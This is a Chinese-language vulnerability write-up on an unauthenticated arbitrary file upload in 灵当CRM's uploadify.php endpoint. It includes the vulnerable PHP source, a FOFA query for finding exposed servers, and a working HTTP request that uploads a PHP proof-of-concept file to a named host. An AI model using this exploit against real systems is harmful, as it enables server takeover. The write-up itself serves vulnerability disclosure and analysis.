漏洞简介
灵当CRM是一款专为中小企业打造的智能客户关系管理工具,由上海灵当信息科技有限公司开发并运营。广泛应用于金融、教育、医疗、IT服务、房地产等多个行业领域,帮助企业实现客户个性化管理需求,提升企业竞争力。无论是新客户开拓、老客户维护,还是销售过程管理、服务管理等方面,灵当CRM都能提供全面、高效的解决方案。灵当CRM /crm/uploaddify/uploadify.php 接口存在任意文件上传漏洞,未经身份验证的攻击者可通过该漏洞在服务器端写入后门,任执行意代码,获取服务器权限,进而控制整个 web 服务器。
影响版本
fofa语法
body="crmcommon/js/jquery/jquery-1.10.1.min.js" || (body="http://localhost:8088/crm/index.php" && body="ldcrm.base.js")
漏洞分析
直接看 /crm/uploaddify/uploadify.php 业务逻辑实现
<?php
//文件夹名称
error_reporting(E_ALL^E_NOTICE^E_WARNING);
global $current_user;
$myatt_id=$_POST['myatt_id'];
$setype=$_POST['myatt_moduel'];
if(!empty($myatt_id))
{
$filepath = 'storage/'.$setype.'/'.$myatt_id.'/';
$targetFolder ="../$filepath";
if(!file_exists('../storage/'.$setype))
{
mkdir('../storage/'.$setype,0777);
}
if(!file_exists($targetFolder))
{
mkdir($targetFolder,0777);
}
}
else
{
$fyear=date("Y");
$fmonth=date('F');
$fday=date('j');//获取当前月份第几天
$fweek='week'.ceil($fday/7);//获取当前日期所属月份的第几周
if(!file_exists('../storage/'.$fyear))
{
mkdir('../storage/'.$fyear,0777);
}
if(!file_exists('../storage/'.$fyear.'/'.$fmonth))
{
mkdir('../storage/'.$fyear.'/'.$fmonth,0777);
}
if(!file_exists('../storage/'.$fyear.'/'.$fmonth.'/'.$fweek))
{
mkdir('../storage/'.$fyear.'/'.$fmonth.'/'.$fweek,0777);
}
$targetFolder='../storage/'.$fyear.'/'.$fmonth.'/'.$fweek.'/';
}
$verifyToken = $_POST['timestamp'];
//if (!empty($_FILES) && $_POST['token'] == $verifyToken) {
$tempFile = $_FILES['Filedata']['tmp_name'];
$file_path = "../modules/Attachment/attachments.txt";
$filehandle = fopen($file_path,"r");
$filestring= fgets($filehandle);
$fileTypes=explode(',',$filestring);
fclose($filehandle);
/**
* date:20140612
* reason:有空格将空格替换成“_”
*/
$file_name=str_replace(" ","_",$_FILES['Filedata']['name']);
$fileParts = pathinfo($file_name);
/**
* edit:can
* date:20140211
* reason:新需求:上传文件名称在服务器不变;
* edit:diony
* date:20140612
* reason:有空格将空格替换成“_”
*/
$arr=array("ASCII","UTF-8","GB2312","GBK",'BIG-5');
$encode=mb_detect_encoding($file_name, $arr);
if($encode=='UTF-8')
{
$targetFile=iconv('UTF-8','gbk',$file_name);
}
else
{
$targetFile=$file_name;
}
if(strtolower(PHP_OS)=='freebsd'||strtolower(PHP_OS)=='linux'||strtolower(PHP_OS)=='unix')
{
//获取系统类型,如果是非windows系统则不用修改编码格式
$targetFile=$file_name;
}
if (in_array(strtolower($fileParts['extension']),$fileTypes)) {
if(move_uploaded_file($tempFile,$targetFolder.$targetFile)){
$path=$targetFolder;
//$arr=array('a'=>$targetFile,'b'=>$path);
//$data=json_encode($arr);
echo $path."?"."$targetFile";
}else{
echo '上传失败';
}
} else {
echo '扩展名无效';
}
?>
根据 myatt_id 是否为空来生成文件储存目录
如果 myatt_moduel 不为空,则文件保存在 /crm/storage/myatt_moduel值/myatt_id值(如果有)/原始文件名
否则文件保存在 /crm/storage/2023/01/week1(第几周)/原始文件名
上传文件后缀根据 modules/Attachment/attachments.txt 来判断是否允许,允许的扩展如下

如果存在php、phtml类可执行文件后缀,则造成文件上传致rce漏洞。
文件类型验证与文件保存
- 判断上传文件的扩展名是否在允许的扩展名数组中(以小写比较)。
- 如果验证通过,则调用 move_uploaded_file 将文件从临时路径移动到目标文件夹中,并使用处理后的文件名保存。
- 成功后,返回拼接后的字符串:目标文件夹路径 + "?" + 文件名。
- 如果移动失败,则输出“上传失败”。
- 如果文件扩展名不符合要求,则输出“扩展名无效”。
漏洞复现
POST /crm/uploaddify/uploadify.php HTTP/1.1
Host: 51mis.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="myatt_moduel";
1017
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="myatt_id";
2024
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="Filedata"; filename="test.php"
Content-Type: application/x-php
<?=md5(123456);unlink(__FILE__);
------WebKitFormBoundaryABC123--

访问文件 /crm/storage/1017/2024/test.php


